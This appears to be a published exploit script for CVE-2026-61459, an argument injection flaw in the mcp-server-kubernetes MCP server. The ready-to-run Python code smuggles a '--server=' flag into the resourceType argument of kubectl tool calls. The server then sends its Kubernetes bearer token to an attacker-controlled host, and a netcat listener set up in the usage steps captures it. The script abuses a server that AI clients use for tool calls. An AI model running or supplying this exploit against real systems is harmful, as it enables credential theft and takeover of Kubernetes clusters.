mcp-server-kubernetes 3.8.x - Argument Injection

#!/usr/bin/env python3
# Exploit Title:        mcp-server-kubernetes 3.8.x - Argument Injection
# CVE:                  CVE-2026-61459
# Date:                 2026-07-13
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://github.com/Flux159/mcp-server-kubernetes
# Software Link:        https://github.com/Flux159/mcp-server-kubernetes
# Affected:             mcp-server-kubernetes < 3.9.0
# Tested on:            mcp-server-kubernetes <= 3.8.x
# Category:             Remote
# Platform:             Linux
# Exploit Type:         Argument Injection
# CVSS:                 9.3
# Description:          Argument injection via resourceType/name parameters in kubectl_get, kubectl_describe, and kubectl_delete tools allowing --server flag injection and bearer token exfiltration.
# Fixed in:             3.9.0
# Usage:
#   python3 exploit.py
#
# Examples:
#   python3 exploit.py --target http://localhost:8080 --attacker http://attacker:6443
#
# Options:
#   --target     MCP Server URL (JSON-RPC endpoint)
#   --attacker   Attacker-controlled Kubernetes API server URL
#
# Notes:
#   • Requires access to call MCP tools (e.g. via Claude Desktop / Cursor / custom client)
#   • Listener on attacker server (nc -lvnp 6443) will capture Authorization header with bearer token
#
# How to Use
#
# Step 1:
#   Start listener: nc -lvnp 6443
#
# Step 2:
#   Run exploit with attacker URL

def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")

import requests
import json
import argparse
import sys

def main():
    banner()

    parser = argparse.ArgumentParser(description="CVE-2026-61459 PoC - MCP Server Kubernetes Argument Injection")
    parser.add_argument("--target", required=True, help="MCP Server JSON-RPC endpoint URL (e.g. http://localhost:8080/mcp)")
    parser.add_argument("--attacker", required=True, help="Attacker Kubernetes API server URL (e.g. http://attacker.example.com:6443)")
    parser.add_argument("--tool", default="kubectl_get", choices=["kubectl_get", "kubectl_describe", "kubectl_delete"], help="Tool to exploit")
    parser.add_argument("--namespace", default="default", help="Kubernetes namespace")
    args = parser.parse_args()

    # Malicious payload - inject --server via resourceType
    payload = {
        "jsonrpc": "2.0",
        "method": "tools/call",
        "params": {
            "name": args.tool,
            "arguments": {
                "resourceType": f"--server={args.attacker}",
                "name": "dummy-pod",
                "namespace": args.namespace,
                "output": "json"
            }
        },
        "id": 1
    }

    print(f"[+] Sending exploit to {args.target} using {args.tool}")
    print(f"[+] Attacker server: {args.attacker}")
    print("[+] Waiting for token exfiltration...")

    try:
        response = requests.post(
            args.target,
            json=payload,
            headers={"Content-Type": "application/json"},
            timeout=10
        )

        print(f"[+] Response status: {response.status_code}")
        if response.status_code == 200:
            print("[+] Exploit sent successfully. Check your listener for the bearer token!")
        else:
            print(f"[-] Unexpected response: {response.text[:500]}")

    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 exploit.py --target <MCP_URL> --attacker <ATTACKER_URL>")
        sys.exit(1)
    main()